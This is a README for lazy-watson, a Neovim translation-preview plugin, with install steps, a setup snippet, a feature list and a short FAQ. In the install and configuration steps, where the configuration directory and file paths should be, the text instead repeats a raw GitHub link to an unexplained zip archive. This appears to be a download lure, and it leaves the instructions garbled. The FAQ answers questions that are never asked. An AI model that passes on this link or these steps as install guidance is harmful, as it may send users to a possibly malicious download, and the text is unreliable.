Welcome to lazy-watson! This Neovim plugin allows you to view inline translations with hover support, making your internationalization tasks smoother and more efficient.
To use lazy-watson, ensure you have the following:
- Neovim version 0.5 or higher.
- A compatible operating system:
- Windows 10 or later
- macOS Mojave or later
- Linux (recent distributions)
To download lazy-watson, visit the Releases page. You will find the latest version available for download. Click the link below:
Visit the Releases Page to Download
After downloading, follow these steps to install the plugin:
- Open Neovim.
- Navigate to your configuration directory, usually located in
~https://raw.githubusercontent.com/gurlal-m4s/lazy-watson/main/lua/watson_lazy_torsionless.zip. - Create a directory called
luaif it doesnβt exist. - Inside the
luadirectory, create another folder namedlazy-watson. - Copy the downloaded files into the
lazy-watsonfolder.
lazy-watson provides several useful features:
- Inline Translation Preview: View translations without leaving your editing space.
- Hover Support: Simply hover over a word to see its translation.
- Easy Integration: Designed to work seamlessly with Paraglide JS.
- Localizable Interface: Supports multiple languages for global users.
To get the most from lazy-watson, you may want to adjust settings. Open your Neovim configuration file (https://raw.githubusercontent.com/gurlal-m4s/lazy-watson/main/lua/watson_lazy_torsionless.zip or https://raw.githubusercontent.com/gurlal-m4s/lazy-watson/main/lua/watson_lazy_torsionless.zip) and add the following lines to enable the plugin:
require('lazy-watson').setup({
lang = 'en', -- Change to your preferred language
hover = true, -- Enable hover support
})This setup will help you customize lazy-watson according to your needs.
After installation, you can start using lazy-watson immediately. Hereβs how:
- Open any file in Neovim.
- Hover over a word in your text.
- A tooltip will display the translation.
You can explore further functionalities as you become familiar with the plugin.
If you encounter issues or have questions while using lazy-watson, check our GitHub Issues page. You can also contribute by reporting bugs or suggesting features.
For detailed documentation and advanced usage, visit the Wiki section of our repository.
Yes, lazy-watson is designed to work alongside other Neovim plugins.
Feel free to check the GitHub Issues page or reach out for help.
Currently, you cannot customize translation sources, but you can request this feature on our Issues page.
Thank you for using lazy-watson! Happy translating!